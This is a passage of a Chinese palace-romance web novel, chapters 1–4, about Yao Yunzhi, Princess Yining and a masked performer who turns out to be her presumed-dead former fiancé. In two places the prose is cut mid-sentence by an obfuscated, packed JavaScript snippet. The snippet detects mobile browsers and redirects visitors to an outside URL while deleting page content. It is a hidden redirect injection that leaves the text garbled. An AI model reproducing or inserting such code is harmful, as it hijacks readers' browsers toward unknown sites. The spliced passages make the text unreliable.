《替身竟是我的白月光》 1. 惊鸿影 夜幕低垂,长街灯火铺陈如星,散碎的华彩揉入湖面粼粼波光,与天穹的星河交相辉映,勾勒出京都繁华的轮廓。 名噪一时的鸣玉坊就坐落于月行河畔,是这片盛景的中心所在。达官显贵们常在此流连,既为享受笙歌曼舞的奢靡夜宴,也为结交权贵,筹谋大事。 这座坊间名楼早已不单单是寻常的秦楼楚馆,更成了三教九流追名逐利的暗场。 姚韫知走到楼梯转角处时,正值前厅舞乐高潮。鼓声如雨点落檐,琵琶声如锦帛乍裂,廊道两侧垂挂的绫罗随风轻拂,透过细密的珠帘,隐约可见堂中舞姬翩然起舞,衣袖如云,裙摆翻飞。 她今日未施粉黛,穿着一身墨青色的对襟素裙,上头不见任何华贵的刺绣或装饰,唯有衣摆缝着一圈极细的银线滚边,配上发间的素银簪子,通身透着与这喧嚣繁华格格不入的沉闷和老气。 见姚韫知怔然望着前面出神,跟在她身后的小丫头小声提醒道:“夫人,公主已经在二楼等您多时了。” 姚韫知点点头,收回了落在那些绮丽面孔上的目光,缓步拾阶而上。 宜宁公主是鸣玉坊的常客,出手又一向阔绰。所以她每次前来听曲观舞时,掌柜都会亲自迎接,将正中间视野最佳的观乐阁留给她。连带着与她交好的姚韫知,都得另眼相待。 此刻,宜宁公主正坐在主位,手执琉璃盏,轻轻晃动着杯中琼浆,目光投向堂中翩然起舞的舞姬,仿佛在专注欣赏舞乐,却又显得有些神思不属。 侍从低声通报道:“殿下,张夫人来了。” 宜宁公主只是淡淡“嗯”了一声,视线仍停留在歌台上。 姚韫知走近,弯下腰压低声音道:“抱歉,府中有些事情实在抽不开身,故而来迟了些。” 宜宁公主闻声,缓缓将手中的酒杯放在桌上。抬眼见她这副装束,不由蹙起眉头,问道:“张允承是什么时候死的?” 姚韫知不明就里。 宜宁公主扶着沉甸甸的发髻,没好气道:“他既没死,你穿得跟个寡妇似的来我跟前晃悠什么?” “殿下这话说得未免也太刻薄了。” 姚韫知嘴上不痛不痒地抱怨了一句,可还照旧在宜宁公主身旁落了座。 宜宁公主问:“我上个月不是才送了你几匹软烟罗么,怎的不去裁几身好看些的衣裳?这颜色并不衬你。” 姚韫知垂眸对着茶盏上袅袅升起的热气,眉目间似有化不开的愁雾。她幽幽叹了口气道:“我婆母从浔州回来了。” “什么时候的事?”宜宁公主有些意外。 “大约一个月以前吧,”姚韫知一哂,“前些日子她也不知是哪根筋没有搭对,三两日便来一封信,又是说同我公爹不对付,又是说自己患了足疾,催着张允承将她接回京师照料。你知道的,张允承这个人耳根子最软,哪里禁得住老太太这般软磨硬泡。敲锣打鼓将人迎回来了,祖宗似的供在家里还不够,连管家的权也被她分去。我成日里伏地做小,还是免不了被她审犯人似的查问。连今日出来见你,都得像做贼一般。” 宜宁公主嗤道:“怪道这些日子不见你的人影呢,原来是被她绊住了。错过了不少好戏,倒是可惜。” 姚韫知听她话里有话,正欲开口追问,却见她轻轻拂了拂手,懒洋洋道:“既已脱身出来,便别再想那些烦心事了。且替我瞧瞧,这支舞排得如何?” 姚韫知见宜宁公主兴致颇高,也不好再多言,循着她的目光望向歌台。 伴着乐声渐起,一名舞姬和男伶一同登场。 舞姬身着红黑相间的长裙,眉间一点朱砂痣,娇媚入骨。那男伶则是一袭玄黑长袍,腰间系着一条长长的红绸,脸上戴着昆仑奴面具,面容看不真切。两人一前一后,步伐如影随形,似是默契共舞,又仿若猎人与猎物的暗中角逐。 宜宁公主含笑侧目看向姚韫知,“怎么样?” 姚韫知微微颔首,却是一副兴致缺缺地模样。听宜宁这么问她,才望着翩然起舞的红衣舞姬,中规中矩地赞美道:“步伐轻盈,气韵灵动,看得出下了不少功夫。” 宜宁公主眨了眨眼,追问道:“另一个呢?” 姚韫知瞧着宜宁公主的神情颇为微妙,暗忖那伶人即便不是她的相好,也应当与她十分相熟。她忍不住往台上多看了一眼,到了还是没能把违心的话说出口,诚实地评价道:“不像是有童子功在身上。” 宜宁公主笑而不语。 台上,随着琵琶弦音越发急促,鼓声一声高过一声,舞姬的动作也随之变得愈发有力。每一次脚尖落地,都与鼓点融为一体,令人目眩神迷。 众人视线被牢牢攫在她一人的身上,一时间,台下掌声雷动,喝彩声此起彼伏。她却未作谢礼,只是抬眸,用一双宛如秋水的眼睛,直直望向坐在最前方的绯衣公子,随后忽而从歌台上跃下,轻如飞燕,长袖划过半空,如虹似练。 绯衣公子见舞姬款款而来,唇边的笑意愈发张扬。他懒懒地倚在椅背上,手指轻叩桌面,随鼓点打拍。待舞姬走至身前,他低低一笑,身子微微前倾,用低哑的嗓音调笑道:“人间未有此绝色,不若趁月入我怀?” 说罢,他抬手欲接住舞姬飞扬的腰带,直勾勾地盯着她,眼里满是轻亵与狭呢。 舞姬身子一旋,长袖如云般划开,避开了年轻公子的手。她脚步不停,旋转之间冷然回道:“公子谬赞了,妾蒲柳之姿,怎敢自诩绝色?” 绯衣公子似不甘罢休,又伸手去拉扯舞姬的衣衫,正欲再开口调笑,忽而眼前黑影一闪。那玄衣伶人已然悄无声息地踏步而至。面具下的目光冷冽如刀,与那公子目光相触时,寒意竟逼得他笑意微滞。 他一个翻身,动作迅捷如风。衣摆上在半空划出一道利落的弧线,几乎贴着绯衣公子的脸扫过,带起一阵凌厉的风。绯衣公子下意识后仰,脸色瞬间变得难看至极。 那伶人却还假模假式冲他拱了拱手道:“得罪。” 片刻之后,绯衣公子定了定神,冷笑着上下打量他一番,嘲讽道:“不过是个卖笑的小倌,也敢在本公子面前装腔作势!” 话音刚落,玄衣伶人陡然一个转身,寒光乍现,一柄锋利的长剑自腰间的红绸之下拔出。绯衣公子脸色骤变,慌忙侧身避让,却发现剑锋堪堪停在咽喉之前,仿佛下一瞬便能刺入血肉。 满座寂静无声,连弦音和鼓点都被同时斩断。 绯衣公子的脸上瞬间失去了血色,嘴唇剧烈地颤抖着,随着剑锋一寸寸地逼近,双腿一软,膝盖触地的闷响打破了厅堂的死寂。 满座宾客终于从错愕中回神,爆发出一阵惊呼。 红衣舞姬却适时将袖摆一拂,遮去了玄衣男子的剑锋,将凌厉的杀意隔断。 而那伶人也似被她的步伐牵引,默然收剑,挽了一个轻巧的剑花。 很快,急促的鼓点再次响起,一黑一白的身影在台上不断交错,舞步时而绚烂似烈焰腾空,时而冷峻如乱石崩云。每一次交织,都在动与静、生与死之间撕开一道惊心动魄的裂隙。 须臾,鼓声渐渐停歇,琵琶弦音缓缓收尾,台上的红衣舞姬与玄衣伶人定住身形,站在舞台中央,彼此背对而立。 台下众人一时无声,仿佛还未从刚才的惊险中回过神来。 有人神情恍惚地擦了擦额角的冷汗,喃喃道:“那剑是真的么?” 舞姬闻言,却是盈盈一笑,转身身来。红袖轻扬,指尖划过剑锋,仿佛点破了一场幻梦。她朝台下敛衽行礼,柔声道:“多谢诸位赏光,不知方才这一曲《惊鸿剑影》可还入得了贵人们的眼?” 宜宁公主微微一笑,目光转向望着台上出神的姚韫知,揶揄道:“看呆了?” 姚韫知敛住停在玄衣男子身上的目光,欲盖弥彰地端起茶盏,指尖在杯沿轻轻摩挲了几下,心不在焉道:“的确……有些意思。” 她顿了一顿,问道:“只是,若我方才没有看错的话,被剑指着的那个是宣国公家的公子岑绍吧?” 宜宁公主笑意加深,才要开口说些什么,却见方才吓得跪地的年轻公子已经跌跌撞撞站起身,脸色青白交错,显然是又羞又怒。他好似刚刚回过魂来,气急败坏地抬手指向台上的玄衣伶人,大声喝道:“好大的胆子,竟敢如此戏弄本公子!来人,将这个狂徒拿下!” 宣国公府的随从齐齐应声而动,气势汹汹地向台上逼去。 闻言,宜宁公主猛地将手中的琉璃盏往桌上一拍,清脆的声响瞬间将所有的躁动压了下去。众人的目光朝二楼的方向望去,却见她缓缓起身,目光如刀削般扫过岑绍,声音里带着不容置疑的威严。 “谁敢动我的人!” 那些随从在踏出的刹那齐齐顿住脚步,互相对视一眼,纷纷退回原地。 岑绍亦被她这突如其来的气势镇住。 此人这般狂妄,原来是背后有宜宁公主撑腰么? 但他还是咽不下这口气,回身拱手朝宜宁公主行了一礼,语气恭敬之中带着隐隐的嘲讽之意。 “殿下金枝玉叶,身份尊贵,平素豢养只小猫小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791707|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逗趣,咱们做臣子的也不敢说什么。可今日,这狂徒不单单是以下犯上,分明就是想要臣的性命。臣不过是要为自己讨一个公道,殿下就这般护短。臣斗胆问一句,殿下是要为一己之私,败坏朝廷纲纪法度吗?” 宜宁公主不慌不忙地站起身来,居高临下地望着岑绍,讥讽道:“岑公子行为不检点在先,因着心虚被一支舞吓破了胆,应当觉得羞愧才是。现在这般借题发挥,莫不是想将此事闹得人尽皆知?” 岑绍恶狠狠道:“此事即便闹到父亲跟前,我也是占理的。” 宜宁公主淡淡问:“那闹到陛下跟前呢?” 岑绍脸色一僵,嘴唇动了动,却硬是好半晌都挤不出一句话来。他强忍着胸腔中翻腾的怒意,冷着脸道:“殿下是预备将陛下搬出来弹压臣吗?” “公子这话倒是有趣得紧,”宜宁公主含笑道,“不是岑公子先要找国公爷出来评理的吗?只是本宫想着,此事国公爷大约也是不敢自己拿主意的,到最后只怕还要陛下定夺。岑公子,你说是不是?” “殿下好大的气派!”岑绍咬着牙,语气中满是不甘与恼恨,“今日之事,臣记下了!” 宜宁公主不耐烦道:“还不快滚!” 岑绍脸色由青转紫,却终究不敢再争辩,只能拂袖而去。他步伐急促,身后的随从也连忙跟上,气势汹汹地来,狼狈不堪地走,落得满堂宾客一阵窃笑。 姚韫知在一旁看了好一会儿戏,微微偏头看向宜宁公主,略有些困惑道:“与你交好的伶人乐人,我应当都见过。可台上的这位公子,怎的瞧着这般眼生?” 宜宁公主闻言,眉梢轻轻一挑,“眼生?” 姚韫知点点头,目光重新扫向台上正收剑入鞘的玄衣男子,语气中透着几分试探,“看他的舞步和剑法,不像是寻常的伶人,倒像是学过些武功的。殿下是从哪儿寻来的这么一个妙人?” 宜宁公主并未直接答话,只是台手招那玄衣男子至观乐阁前,随后含笑看向姚韫知道:“你既好奇,我便叫他过来让你看看。” 不多时,玄衣男子缓步步入观乐阁,玄色的暗纹长袍在灯火映衬下泛着淡淡的光泽,腰间的红绸随步伐轻轻摇曳,像毒蛇吐信,透着一种危险的气息。 他走到二人面前,先对着宜宁公主作了一个长揖,恭谨道:“小人给殿下请安。” 姚韫知的目光落在他脸上凶神恶煞的昆仑奴面具上,眉头微微一蹙,眼中透着些许探究。宜宁公主微微勾起唇角,率先开口打破沉默,揶揄道:“韫知,这位便是你心心念念的任九思公子了。” 说罢目光投向玄衣男子,介绍道:“九思,这位是少府监张主簿的夫人。” 任九思的目光一顿,抬眼看向姚韫知的瞬间,眸中有一丝不易察觉的复杂神情掠过,但很快便恢复如常。 “小人见过张夫人。” 姚韫知目光紧紧胶他脸上的昆仑奴面具上,始终没有挪开眼。沉默片刻后,她遽然开口问道:“九思公子平日里也一直以面具示人吗?” 任九思还没来得及回话,宜宁公主已然轻笑出声,半开玩笑半认真道:“你以为九思平素戴着面具是因为丑陋不能见人?是这张脸太过出众,本宫怕惹来旁人觊觎。” 姚韫知一时不知该如何接话。 宜宁公主忽地话锋一转,“不过,韫知也不算是旁人。” 随即用带着几分促狭与打趣的笑意看向任九思道,“罢了,九思,便也让张夫人瞧瞧你的庐山真面目吧。” 任九思驯顺地应了声“是”,抬起手缓缓摘下面具,露出一张昳丽而妖冶的脸。他脸颊处画着三道油彩,一双桃花眸微微上挑,眸光明亮如星,眼尾染着一缕薄红,像春日桃花凝露,又似寒冬冷月生辉。这样异乎寻常的美,浓烈得有些不真实,甚至带着一种令人不安的攻击性。 看清任九思面容的刹那,姚韫知并未被他的容色摄去魂魄,反而指尖一颤,险些将桌上的茶盏打落。 她死死盯着眼前这张浓墨重彩的脸。 明明是截然不同的两个人,记忆中的影子却在此时没有缘由地重叠在一起,让她分不清哪一个在眼前,哪一个在梦中。 一个禁忌的名字冲到喉间,几乎要脱口而出,却被她咬住牙硬生生咽了回去。 须臾,姚韫知微微颔首,强作云淡风轻地对宜宁公主笑道:“的确出众,难怪殿下对他青眼相加。” 不想下一刻,宜宁公主却是轻飘飘地道出了她竭力掩藏的心思,“和他总有四五分像了,是不是?” 2. 旧时月 宜宁公主的声音不大,可方才那句话,在场的三人都听得一清二楚。 这个“他”指的是谁,所有人都心知肚明。可只要没有一人出言点破,大家便也都只能揣着明白装糊涂。 姚韫知一时不知该如何自处,目光下意识朝任九思的方向望去,却见他微微勾起唇角,冲着自己意味深长地笑了笑,那双多情的桃花眸忽明忽暗,带着几分戏谑,还有几分不知从何而来的志在必得。 她陡然意识到,这个任九思并没有看上去那么简单。 或许他一早就打听清楚了当年发生在她、宜宁、言怀序三人之间的旧事,所以十分笃信自己能够凭借这张酷似言怀序的面孔博得公主的喜爱,成为她的入幕之宾。 - 当年,皇帝为抬举近臣子弟,让中书令言峻挺之子言怀序入宫做了太子的伴读,同样得皇帝器重的御史中丞姚钧之女姚韫知则留在宜宁公主身边做了侍奉书墨的女史。 四人一同在宫中长大,关系比一母同胞的兄弟姊妹还要亲近。至于言怀序和姚韫知,更是未出生时便被两家父母指腹为婚。二人青梅竹马,两小无猜,是众人眼中天造地设的一对璧人。 连皇后都曾当着众人的面,拉着姚韫知的手慨叹道:“韫知这孩子千好万好,就一个不好——” 说着目光瞥向言峻挺,打趣道:“做不成我们家的媳妇儿。” 此言一出,在场的四个青年人,两个羞红了脸,一个全然在状况之外,还有一个不动声色地垂下眼睫,将唇抿成了一条苦涩的直线。 姚韫知其实能够看得出来,宜宁一直默默喜欢着言怀序。 她是一国公主,是皇帝最宠爱的小女儿,从来要风得风,要雨得雨。倘若她真的想要让圣上将言怀序指给她做驸马,动动小指头就可以办到。 可她自始自终从未想过依靠自己公主的身份,介入到言怀序和姚韫知之间。 所以姚韫知也同她一起小心翼翼地守护着那些隐秘的心事,没有让旁人知晓,也没有让她们之间生出任何芥蒂。 她以为,这件事情会永远成为她和宜宁之间一个不会宣之于口的秘密。 直到后来言家获罪,当言怀序在诏狱之中饱受着非人的折磨之时,作为姻亲的姚家非但没有在御前为言家申辩,反而选择明哲保身,单方面解除了姚韫知与言怀序的婚约。 更加令人齿寒的是,没过多久,姚韫知就掉转头嫁给了覆灭言家的罪魁祸首,新任宰相张暨则的独子张允承,踏着由言家人血泪铺就的通天大道,诰命加身,享尽荣华富贵。 言怀序死讯传来的那一天,宜宁如同疯了一般冲进张府,朝着前来跪迎的张允承,扬手就是一记响亮的耳光。若非侍卫阻拦,她只怕能冲上去,将他撕个粉碎。 姚韫知躲在房里不肯露面,宜宁公主便在院子里不顾体面地高声叫着她的名字。等到终于将姚韫知逼了出来,她却再不复方才的声嘶力竭,一把抱住姚韫知,将头埋在她的怀里,泣不成声道:“韫知,怀序死了,他再也不会回来了……” 宜宁哭得肝胆欲裂,可姚韫知的脸上自始至终没有半点波澜,如同一个被抽去魂灵的木偶,定定在原地站着,一动也不动。 良久,她缓缓推开宜宁,低声回了一句:“我都知道了。” 宜宁怔然望着她,听着从她口中传来的无比冰冷的语调,从没有觉得眼前这张面孔像现在这般陌生。 宜宁终究还是心存一丝幻想,哽咽着问道:“那你,要去见他最后一面吗?” 姚韫知没有说话。 宜宁急道:“即便抛开你与怀序的婚约不谈,你们之间毕竟也算相识一场。十几年的情分,你当真可以这般轻而易举地割舍掉吗?” 宜宁激动异常,可姚韫知却只是垂下眼睫,打落了不慎流露出来的痛楚。 她沉默了一会儿,低声回道:“言怀序是罪臣之子。” 事情过去了五年,姚韫知已然记不清宜宁听到这句话时脸上是什么神情。 震惊?失望?怨恨? 好像都不是。 仿佛过了很久,宜宁才踉跄着朝她走近了几步,嘴角扯起的笑容被苦涩浸透,“你说,当初若我自私一些,执意求了陛下让他做我的驸马,今日,我是不是还有机会保住他的性命?” 自那以后,宜宁公主与姚韫知的关系便渐渐疏远了。 有时候姚韫知入宫向皇后请安,二人在永安宫大殿内碰上了,宜宁公主也总是对她视而不见。 姚韫知也不再似从前那般亲呢地唤宜宁公主的乳名,只恭恭敬敬地称她为殿下,同所有外命妇一样,对她下拜叩首。 倒是近一年来,也不知是因为年岁渐长,还是张允承的父亲辞官回乡的缘故,两人之间的关系突然和缓了许多。 宜宁公主与驸马不睦已久,三日里总有两日不在公主府。她最常去的地方是鸣玉坊,姚韫知没了公爹婆母的拘束,也乐于和宜宁公主呆在一起。当她们挤在一处,点评着当日的编曲排舞,望着歌台上那些年轻俊俏的面孔窃窃私语时,两人都不由得有些恍惚,仿佛转瞬之间,又重新回到了那些无忧无虑的少女时光。 此时此刻,面对着眼前神似从前未婚夫的任九思,宜宁公主的新宠,姚韫知心中五味杂陈。 她知道,宜宁还没有放下言怀序。 那她自己呢? 姚韫知强迫自己将这个危险的念头及时止住。 她和宜宁公主终究是不同。 她不敢放不下。 - 姚韫知正想着这些旧事出神,忽听见宜宁公主幽幽叹了口气,握住她冰凉的手道:“韫知,其实我今日邀你过来,是有一件事要同你相商。” “什么事?” 宜宁公主道:“你知道的,我与驸马一向话不投机,至今没有和离,也是因为父皇一直不肯点头的缘故。前段日子,我又忍不住同母后提起此事,可听母后的意思,要劝说父皇那边松口,委实不是一件易事。母后说,若我实在不喜欢驸马,寻个可心的人养在府里,别让人知道也就是了。” 听到这里,姚韫知已经猜了个大概,于是问道:“所以是九思公子的事情被驸马发现了?” 宜宁不答反问:“韫知,我可不可以请你帮我一个忙?” 饶是宜宁公主将姿态放得如此之低,姚韫知仍不敢直接答应,只道:“殿下不妨先说,若是我能帮的 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她的余光瞥向一旁的任九思,他正把玩着一柄象牙折扇,神情慵懒,一脸的漫不经心。似乎察觉到有人在盯着自己,他目光忽然一转,与她的视线不期而遇。 那是一双瑰丽而危险的眼睛,上面笼罩着一层捉摸不透的阴云,令她望而生畏。 一阵说不清道不明的惶然袭来,姚韫知的手指不由得攥紧了衣袖,更坚定地拒绝道:“以殿下的能力,应当能替他安排一个更好的去处,实在不必冒这样大的风险。” 听姚韫知把话说得这么不留余地,宜宁公主不再勉强,颔首道:“也罢,既然你这般为难,我再寻个别的地方安置他也就是了。” 姚韫知离开后,任九思朝宜宁公主跟前走近了几步,微弱的烛光映在他苍白的脸上,将那双深邃的眼眸染上了一层暖色。可他眼底空空如也,没有气恼,也没有落寞。 宜宁公主歉然道:“对不住,没能替你说服韫知。” 任九思略带嘲弄地笑了笑道:“意料之中的事。” 宜宁公主看着他强撑的模样,无奈地摇了摇头,温声劝道:“张暨则已然辞官回乡,张允承那个草包又是个不知事的,未必清楚当年之事的前因后果。你即便涉险混进了张府,只怕也找不到你想要的东西。” 任九思却执拗道:“不试试怎么知道?” “怀序,”宜宁眼中透出一抹极其复杂的情绪,她迟疑了半晌,还是直截了当地问道,“你执意要潜入张家,究竟是为了查案,还是……为了她?” 一瞬间,青年空洞的眼眸中终于出现了一道细微的裂痕。他低下头,似是嘲讽地轻笑了一声。那笑声却无比寂寥,仿佛被风吹散的浮云。 “殿下放心,我与她早已是陌路之人。” “可我心里总归有些不安,”宜宁公主徐徐道,“我固然相信你不会因为一己私情误了大事,但人非草木,若韫知和张允承每日都出现在你面前,怀序,到时你当真不会乱了分寸吗?” 眼前之人沉默了片刻,却是没有回答宜宁的问题,只平静道地纠正道:“殿下唤错了,小人的名字叫做任九思,与张主簿的夫人,从前并不相识。” 3. 心灯灭 姚韫知走出鸣玉坊时,步履缓慢而沉重。她身形摇摇欲坠,像在极力压抑某种即将失控的情绪。 夜风迎面扑来,带着刺骨的凉意,将她脸颊刮得生疼。待到周遭渐渐暗了下来,她才在黑暗中摸了一把眼泪,将脸上的湿意匆匆拭去。 良久,她深吸一口气,抬眼望向远处昏黄的街灯,加快脚步,向停靠在月行河畔挂着“张”姓灯笼的马车走去。 不远处的云初见姚韫知步伐虚浮,一副失魂落魄的模样,连忙迎上去,搀住她的手臂,关切道:“夫人,您没事吧?” 姚韫知轻轻摇了摇头,声音微哑,“无碍,回府吧。” 车厢内没有点灯,昏暗而寂静,只有车轮压过青石路面的声音在浓稠的夜色里回响。行至石桥边时,恰有一阵微风拂过,帘角轻扬,露出河面上漂浮着的无数盏精巧的水灯。水波轻漾,涟漪映着灯光,宛如点点散落的星辉,将整条河化作了一片流动的星海。 恍惚间,她似乎又看到了那一张遥远而明亮的面孔。轮廓散开又聚拢,似真似幻,不可捉摸。 她的视线在那些水灯上略作停留,便迅速挪了开,转过头问云初:“我走之后,老夫人有再说什么吗?” 云初犹豫了一下,还是小声回道:“您走后,老夫人对主簿发了好大一通火,说自己怎么会生出他这样窝囊废,半点男人的样子也没有。她还说,主簿就是性子太懦弱,才纵得你这般……” “不知廉耻?不守妇道?”姚韫知冷笑着接口。 “倒也没有这般难听,”云初低声道,“老夫人并不知晓您去鸣玉坊的事,主簿同她说,是宜宁公主将您召到府上去了。” 姚韫知点了点头,没有再多说什么。 马车停下之后,她如往常一般准备直接回房歇息,却被云初叫住,“夫人,主簿一整晚都在雁声居等着您呢。” 姚韫知脚步一顿,眉头几不可察地皱了皱。但想到他今日好意替自己遮掩,还是掉转头,朝雁声居的方向走去。 才走到门前,便见暖黄色的烛光从屋内透出,照得廊下发亮,一道熟悉的人影映在桐油窗纸上。她心头生出一丝烦躁,却还是抬步跨了进去。 刚踏进屋子,一股浓郁的清香就扑面而来。走近几步,借着昏黄的烛火,姚韫知才看清地上堆满了一箩筐一箩筐的柑橘。 张允承正盘腿坐在罗汉榻上,一手握着橘子,一手拿着小刻刀将果肉挑出来,直往嘴里塞。桌上散落着大大小小的橘子皮、橘子籽、果瓤的残渣、蜡烛,还有十几个被掏空的橘子壳。 姚韫知不知他葫芦里卖的什么药,语气不善地问:“你这是在干什么?” 张允承适才太过专心,完全没有察觉到姚韫知进来。此刻乍然听到她的声音,猛地抬起头,却是忘了嘴里还叼着一瓣橘子。 他慌忙将橘子囫囵吞下去,声音含糊不清,“韫知,你是什么时候回来的?” 姚韫知没有回答。 她望着满桌的狼藉,沉默了片刻,才开口问道:“云初说你等了我一个晚上,是有什么事吗?” 姚韫知的语气格外冷漠,浑身散发着让人无法忽视的抗拒和疏离。张允承想说的话顿时哽在了喉间,舌根泛起一股清苦的气息。 他笑了笑道:“也没什么事,就是想着……你这么晚回来,大约肚子也饿了,等着问问你要不要吃些宵夜。” “我不饿,”姚韫知一脸古井无波,“如果没有别的事,我就先回去了。” “等等。” 张允承一听她要走,连忙从罗汉榻上爬起来,快步走到屋角的架子旁,从架子上的一个木盒里取出一个圆滚滚的橘子。 橘子的表皮被雕刻得精美异常,中心是一朵盛开的蔷薇花,花瓣层层叠叠,刻画得栩栩如生。四周围绕着盘旋交错的枝蔓,枝蔓间点缀着几片叶子,叶脉清晰,线条流畅,看得出是费了一番功夫的。 他小心翼翼地将橘子捧在手心,随即从口袋里掏出一根火柴擦亮,点燃了里头藏着的一块小小的蜡烛。柔和的火光透过镂空的花纹晕染开来,将屋内映得温暖而明亮。 “韫知,”张允承轻唤了一句,声音里带着一丝忐忑,“我原是准备再雕一个更漂亮的给你,没想到你提早回来了,只好先把这个拿出来,也不知道你喜不喜欢。” 张允承将灯递到姚韫知手边,却不想姚韫知下意识缩回手,想要避开他的触碰。摇晃的火焰不慎烫到了他的手背,橘子灯没有拿稳,“砰”一声从他手里滑落,滚到了姚韫知脚边。 蜡烛的火光瞬间熄灭,墙上摇曳的蔷薇花影也消失得无影无踪。 张允承连忙弯下腰,捡起那只被摔得支离破碎的橘子灯,窘迫道:“我……我再重新做一只给你。” “允承,”姚韫知微不可闻地叹了口气,神情有些疲倦,“你的好意我心领了。现在时辰不早了,你还是早些安置吧。” 她没给张允承开口的机会,径直走出了房门。 倒是云初回头望了张允承一眼,见他可怜,有些于心不忍,正要出言劝和几句,姚韫知却先她开口道:“云初,你今日都同主簿说了什么?” “没……没有啊,”云初下意识否认,可等到话说出口,又忽然想起什么,改口道,“奴只是同主簿说,在我们的家乡有一个传统,把愿望写下来封进烛蜡里点燃,让水灯逐水而流。灯漂得越远,愿望就越容易实现。” “你还说了什么?” “奴还说夫人未出阁的时候,每年上元灯节,都会去河边放水灯。夫人先前的闺房里也攒了许多各式各样的灯,都够开个灯笼铺子了。” “还有呢?” 云初摇了摇头,“别的就没什么了。” 姚韫知道:“以后不要这么多话了。” 云初颔首道:“奴遵命。” 廊道两旁的灯笼摇曳,在她的脸上投下明灭不定的光影。她的目光落在远处,像透过无边夜色看向了更遥远的过去。 很多年以前,也曾有人为她点了满湖的水灯。那一夜,整片月行河明亮如白昼,星星点点的灯光铺散在水面,像极了倒泻的银河。 她闭着眼睛,许了好多好多愿望。可是,那些水灯没有漂得太远,不一会儿就停在了河岸边。 后来,听老人们说,心愿太多,太沉,水灯是载不住的。 她想,或许是天神怪她太贪心了,所以她的愿望一个都没有实现。 - 翌日,姚韫知去向张老夫人请安,晨昏定省一向准时的张允承却迟迟没有出现。她问过了张老夫人身边的朱妈妈才知道,张允承昨夜吃柑橘吃积了食,现在还躺在床上起不来。 姚韫知端着茶,服侍张老夫人漱完了口,又从侍女手中接过姜黄色的牡丹团纹长袄,捧到她跟前,伺候她穿衣。 张老夫人却一直没有伸手,反而觑着姚韫知,明知故问道:“允承今早怎的没来向我请安?” 姚韫知答:“允承吃坏了东西,现下还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791709|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里歇息。” “是吃了什么不干净的东西吗?” “不是,是……”姚韫知也替张允承觉得难堪,一时不知道该怎么开口。 还是朱妈妈替她解释道:“昨日主簿散衙时,碰到了一个卖柑橘的老妪,主簿瞧她可怜,便买下她几车的柑橘回来分给下人们吃。主簿自己也吃了些,许是伤了胃。” 张老夫人看向朱妈妈,阴沉着脸道:“连你都知道允承脾胃虚弱,不能吃生冷的食物。可有些做妻子的,心思却全然没有没有放在丈夫身上,我倒不知她成日里都在忙些什么。” 姚韫知自然听出她在含沙射影,可眼下她还不想同张老夫人起争执,于是低眉垂目地回道:“母亲教训得是,是我疏忽了,以后定会多加留意。” 她手中还捧着张老夫人马上要穿的衣物,手臂酸痛得不行。 张老夫人见她偷偷扭动了两下胳膊,这才不疾不徐地伸出手,让她替自己将长袄披上,随后慢悠悠地问道:“你昨日是去宜宁公主府上了?” “是。” 张老夫人阴沉着脸道:“往后不要同她来往了。” 姚韫知仍垂着眼,可语气却不再似方才那般恭顺,“宜宁公主是我多年的挚友。” 张老夫人冷笑一声,嘲讽道:“你别以为自个儿攀上这么一个公主,便有什么了不得的。这些年她做的那些丑事,都快沦为满京城的笑柄了。听说前几日,她还因为一个面首同驸马大打出手,都闹到陛下跟前去了。你与她厮混在一起,旁人只会觉得你也和她一样行为不检,连带着张家一同蒙羞。” 不等姚韫知回话,她又咬着牙恨声道:“她打允承的那一巴掌,我可是还记着的。当年她如何费尽心机到处活动,替言氏鸣冤叫屈,我也都看在眼里。言家是什么罪?谋逆大罪!当年敢为言家说话的,都被拉去菜市场杀头了。要我说,保不齐就像外头传言说的那样,那言怀序也是她的姘头!” 她越说越觉得自己猜想得十分有道理,到最后更是拍着大腿,口不择言道:“对对对,一定是他们在宫里的时候就勾搭上了,所以她才会甘冒得罪陛下的风险,也要为言家人出头!你说说,就凭她和言怀序的关系,沾上她,跟招来一个瘟神有什么分别!” 姚韫知听到这里,终于抬起了头,平静而冷淡地看向张老夫人,不卑不亢道:“母亲忘了,我与言怀序还曾有过婚约。” 张老夫人神情一滞,脸色顷刻间由青转红。 可她的怒意还没来得及爆发出来,就被门外的动静打断。一个小厮匆匆忙忙跑了进来,跪在地上,气喘吁吁道:“老夫人,少夫人,宜……宜宁公主来了。” 张老夫人见小厮这副战战兢兢的模样,更是气不打一出来。想起当日宜宁公主气势汹汹冲进张府打人的架势,又是屈辱又是恼怒。 但她还是端着十足架子,嘲讽道:“我当是谁呢,原来是她。这有什么可大惊小怪的,别让人觉得我们张家人没见过世面。” 小厮却道:“不单单是宜宁公主,还有,还有……” “还有谁?”张老夫人没好气道。 “还有,她那个面首。” 一听宜宁公主竟把这样一个人带到他们张家的地界来,张老夫人气得七窍生烟。 可她生气归生气,也不可能真将公主拒之门外。 她警告了姚韫知一句“呆在房里,不要出去惹是生非”,随后匆匆盘好发髻,戴上发簪,昂首阔步朝张府正门的方向去了。 4. 不速客 宜宁公主已有六年不曾踏足此地。 六年前,她年轻气盛,又因为言怀序之死伤心过度,当着张府上下的面掌掴张允承,从此与张家人结了仇。没想到时隔六年再见那张老夫人,对方倒似忘了这茬一般,满面春风将她迎进来,又热络地吩咐下人为她看茶倒水。 